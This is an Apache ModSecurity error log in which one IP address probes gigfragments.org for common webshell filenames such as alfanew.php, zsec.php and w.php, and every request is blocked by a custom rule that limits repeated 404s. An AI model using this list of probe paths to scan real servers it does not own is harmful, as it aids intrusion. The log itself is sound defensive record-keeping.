[Fri Dec 26 00:49:54.702979 2025] [:error] [pid 24863:tid 24908] [client 4.193.224.251:9215] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aU1rMh8SaH2KMpp43vfd6AAAAM8"]
[Fri Dec 26 00:49:54.886710 2025] [:error] [pid 24862:tid 24883] [client 4.193.224.251:9180] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aU1rMrt-eeEEuo-2JKghuQAAABE"]
[Fri Dec 26 00:49:55.062327 2025] [:error] [pid 24863:tid 24902] [client 4.193.224.251:8988] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aU1rMx8SaH2KMpp43vfd6QAAAMk"]
[Fri Dec 26 00:49:55.271389 2025] [:error] [pid 24862:tid 24872] [client 4.193.224.251:9153] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aU1rM7t-eeEEuo-2JKghugAAAAY"]
[Fri Dec 26 00:49:55.527206 2025] [:error] [pid 24863:tid 24900] [client 4.193.224.251:9182] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aU1rMx8SaH2KMpp43vfd6wAAAMc"]
[Fri Dec 26 00:49:55.729872 2025] [:error] [pid 24864:tid 24925] [client 4.193.224.251:8968] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aU1rM8u59XOK5DpQQdCGagAAAUU"]
[Fri Dec 26 00:49:55.915707 2025] [:error] [pid 24864:tid 24927] [client 4.193.224.251:9183] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aU1rM8u59XOK5DpQQdCGawAAAUc"]
[Fri Dec 26 00:49:56.091660 2025] [:error] [pid 24863:tid 24909] [client 4.193.224.251:9190] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aU1rNB8SaH2KMpp43vfd7gAAANA"]
[Fri Dec 26 00:49:56.305312 2025] [:error] [pid 24864:tid 24940] [client 4.193.224.251:8989] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aU1rNMu59XOK5DpQQdCGbQAAAVQ"]
[Fri Dec 26 00:49:56.500391 2025] [:error] [pid 24863:tid 24917] [client 4.193.224.251:8990] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aU1rNB8SaH2KMpp43vfd7wAAANg"]
[Fri Dec 26 00:49:56.679510 2025] [:error] [pid 24863:tid 24899] [client 4.193.224.251:8987] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aU1rNB8SaH2KMpp43vfd8QAAAMY"]
[Fri Dec 26 00:49:56.869584 2025] [:error] [pid 24864:tid 24924] [client 4.193.224.251:9014] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aU1rNMu59XOK5DpQQdCGbwAAAUQ"]
[Fri Dec 26 00:49:57.044444 2025] [:error] [pid 24864:tid 24928] [client 4.193.224.251:8991] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aU1rNcu59XOK5DpQQdCGcAAAAUg"]
[Fri Dec 26 00:49:57.233831 2025] [:error] [pid 24864:tid 24934] [client 4.193.224.251:8962] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aU1rNcu59XOK5DpQQdCGcQAAAU4"]
[Fri Dec 26 00:49:57.441296 2025] [:error] [pid 24864:tid 24929] [client 4.193.224.251:8737] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aU1rNcu59XOK5DpQQdCGcwAAAUk"]
[Fri Dec 26 00:49:57.626633 2025] [:error] [pid 24864:tid 24933] [client 4.193.224.251:8706] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aU1rNcu59XOK5DpQQdCGdQAAAU0"]
[Fri Dec 26 00:49:57.810211 2025] [:error] [pid 24864:tid 24922] [client 4.193.224.251:9161] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aU1rNcu59XOK5DpQQdCGdgAAAUI"]
[Fri Dec 26 00:49:57.990296 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:9210] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aU1rNcu59XOK5DpQQdCGdwAAAVM"]
[Fri Dec 26 00:49:58.177990 2025] [:error] [pid 24864:tid 24937] [client 4.193.224.251:9198] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aU1rNsu59XOK5DpQQdCGeAAAAVE"]
[Fri Dec 26 00:49:58.419541 2025] [:error] [pid 24864:tid 24938] [client 4.193.224.251:8976] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aU1rNsu59XOK5DpQQdCGewAAAVI"]
[Fri Dec 26 00:49:58.596834 2025] [:error] [pid 24863:tid 24914] [client 4.193.224.251:9196] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aU1rNh8SaH2KMpp43vfd8wAAANU"]
[Fri Dec 26 00:49:58.775462 2025] [:error] [pid 24863:tid 24915] [client 4.193.224.251:8981] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aU1rNh8SaH2KMpp43vfd9AAAANY"]
[Fri Dec 26 00:49:58.974537 2025] [:error] [pid 24863:tid 24907] [client 4.193.224.251:8749] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aU1rNh8SaH2KMpp43vfd9QAAAM4"]
[Fri Dec 26 00:49:59.200756 2025] [:error] [pid 24862:tid 24882] [client 4.193.224.251:9186] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aU1rN7t-eeEEuo-2JKghvQAAABA"]
[Fri Dec 26 00:49:59.388414 2025] [:error] [pid 24863:tid 24906] [client 4.193.224.251:8755] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aU1rNx8SaH2KMpp43vfd9gAAAM0"]
[Fri Dec 26 00:49:59.572317 2025] [:error] [pid 24863:tid 24894] [client 4.193.224.251:9205] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aU1rNx8SaH2KMpp43vfd-AAAAME"]
[Fri Dec 26 00:49:59.781725 2025] [:error] [pid 24863:tid 24893] [client 4.193.224.251:8984] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aU1rNx8SaH2KMpp43vfd-gAAAMA"]
[Fri Dec 26 00:49:59.965448 2025] [:error] [pid 24864:tid 24921] [client 4.193.224.251:9018] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aU1rN8u59XOK5DpQQdCGfgAAAUE"]
[Fri Dec 26 00:50:00.147949 2025] [:error] [pid 24862:tid 24890] [client 4.193.224.251:9204] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aU1rOLt-eeEEuo-2JKghwAAAABg"]
[Fri Dec 26 00:50:00.340559 2025] [:error] [pid 24863:tid 24908] [client 4.193.224.251:8999] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aU1rOB8SaH2KMpp43vfd_AAAAM8"]
[Fri Dec 26 00:50:00.526507 2025] [:error] [pid 24863:tid 24902] [client 4.193.224.251:9197] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aU1rOB8SaH2KMpp43vfd_QAAAMk"]
[Fri Dec 26 00:50:00.721814 2025] [:error] [pid 24864:tid 24942] [client 4.193.224.251:9192] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aU1rOMu59XOK5DpQQdCGfwAAAVY"]
[Fri Dec 26 00:50:00.908611 2025] [:error] [pid 24864:tid 24928] [client 4.193.224.251:8980] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aU1rOMu59XOK5DpQQdCGgAAAAUg"]
[Fri Dec 26 00:50:01.091144 2025] [:error] [pid 24946:tid 24968] [client 4.193.224.251:9168] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aU1rOVfyLYxv3Jn9S70wSwAAAFQ"]
[Fri Dec 26 00:50:01.326003 2025] [:error] [pid 24864:tid 24934] [client 4.193.224.251:8713] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aU1rOcu59XOK5DpQQdCGgwAAAU4"]
[Fri Dec 26 00:50:01.527914 2025] [:error] [pid 24864:tid 24929] [client 4.193.224.251:8974] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aU1rOcu59XOK5DpQQdCGhwAAAUk"]
[Fri Dec 26 00:50:01.721054 2025] [:error] [pid 24862:tid 24889] [client 4.193.224.251:9199] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aU1rObt-eeEEuo-2JKghyAAAABc"]
[Fri Dec 26 00:50:01.937956 2025] [:error] [pid 24862:tid 24869] [client 4.193.224.251:9191] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aU1rObt-eeEEuo-2JKghyQAAAAM"]
[Fri Dec 26 00:50:02.136026 2025] [:error] [pid 24864:tid 24926] [client 4.193.224.251:9200] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aU1rOsu59XOK5DpQQdCGiAAAAUY"]
[Fri Dec 26 00:50:02.327382 2025] [:error] [pid 24863:tid 24903] [client 4.193.224.251:8752] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aU1rOh8SaH2KMpp43vfeAQAAAMo"]
[Fri Dec 26 00:50:02.514186 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:9156] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aU1rOsu59XOK5DpQQdCGigAAAVM"]
[Fri Dec 26 00:50:02.698752 2025] [:error] [pid 24864:tid 24937] [client 4.193.224.251:8975] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aU1rOsu59XOK5DpQQdCGiwAAAVE"]
[Fri Dec 26 00:50:02.924509 2025] [:error] [pid 24863:tid 24913] [client 4.193.224.251:8961] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aU1rOh8SaH2KMpp43vfeAwAAANQ"]
[Fri Dec 26 00:50:03.131206 2025] [:error] [pid 24862:tid 24887] [client 4.193.224.251:9022] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aU1rO7t-eeEEuo-2JKghzwAAABU"]
[Fri Dec 26 00:50:03.323758 2025] [:error] [pid 24862:tid 24883] [client 4.193.224.251:8971] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aU1rO7t-eeEEuo-2JKgh0QAAABE"]
[Fri Dec 26 00:50:03.498420 2025] [:error] [pid 24862:tid 24871] [client 4.193.224.251:9195] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aU1rO7t-eeEEuo-2JKgh0gAAAAU"]
[Fri Dec 26 00:50:03.715189 2025] [:error] [pid 24864:tid 24938] [client 4.193.224.251:8982] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aU1rO8u59XOK5DpQQdCGjQAAAVI"]
[Fri Dec 26 00:50:03.968927 2025] [:error] [pid 24863:tid 24914] [client 4.193.224.251:9007] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aU1rOx8SaH2KMpp43vfeCQAAANU"]
[Fri Dec 26 00:50:04.194530 2025] [:error] [pid 24862:tid 24867] [client 4.193.224.251:9211] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aU1rPLt-eeEEuo-2JKgh1gAAAAE"]
[Fri Dec 26 00:50:04.404888 2025] [:error] [pid 24864:tid 24932] [client 4.193.224.251:9213] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aU1rPMu59XOK5DpQQdCGkAAAAUw"]
[Fri Dec 26 00:50:04.619727 2025] [:error] [pid 24946:tid 24962] [client 4.193.224.251:8734] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aU1rPFfyLYxv3Jn9S70wTgAAAE4"]
[Fri Dec 26 00:50:04.810295 2025] [:error] [pid 24864:tid 24930] [client 4.193.224.251:8722] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aU1rPMu59XOK5DpQQdCGkQAAAUo"]
[Fri Dec 26 00:50:05.004204 2025] [:error] [pid 24864:tid 24923] [client 4.193.224.251:9167] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aU1rPcu59XOK5DpQQdCGkgAAAUM"]
[Fri Dec 26 00:50:05.204821 2025] [:error] [pid 24864:tid 24944] [client 4.193.224.251:8738] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aU1rPcu59XOK5DpQQdCGlAAAAVg"]
[Fri Dec 26 00:50:05.426586 2025] [:error] [pid 24864:tid 24927] [client 4.193.224.251:9010] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aU1rPcu59XOK5DpQQdCGlQAAAUc"]
[Fri Dec 26 00:50:05.623989 2025] [:error] [pid 24946:tid 24954] [client 4.193.224.251:9038] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aU1rPVfyLYxv3Jn9S70wTwAAAEY"]
[Fri Dec 26 00:50:05.834441 2025] [:error] [pid 24946:tid 24955] [client 4.193.224.251:8712] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aU1rPVfyLYxv3Jn9S70wUAAAAEc"]
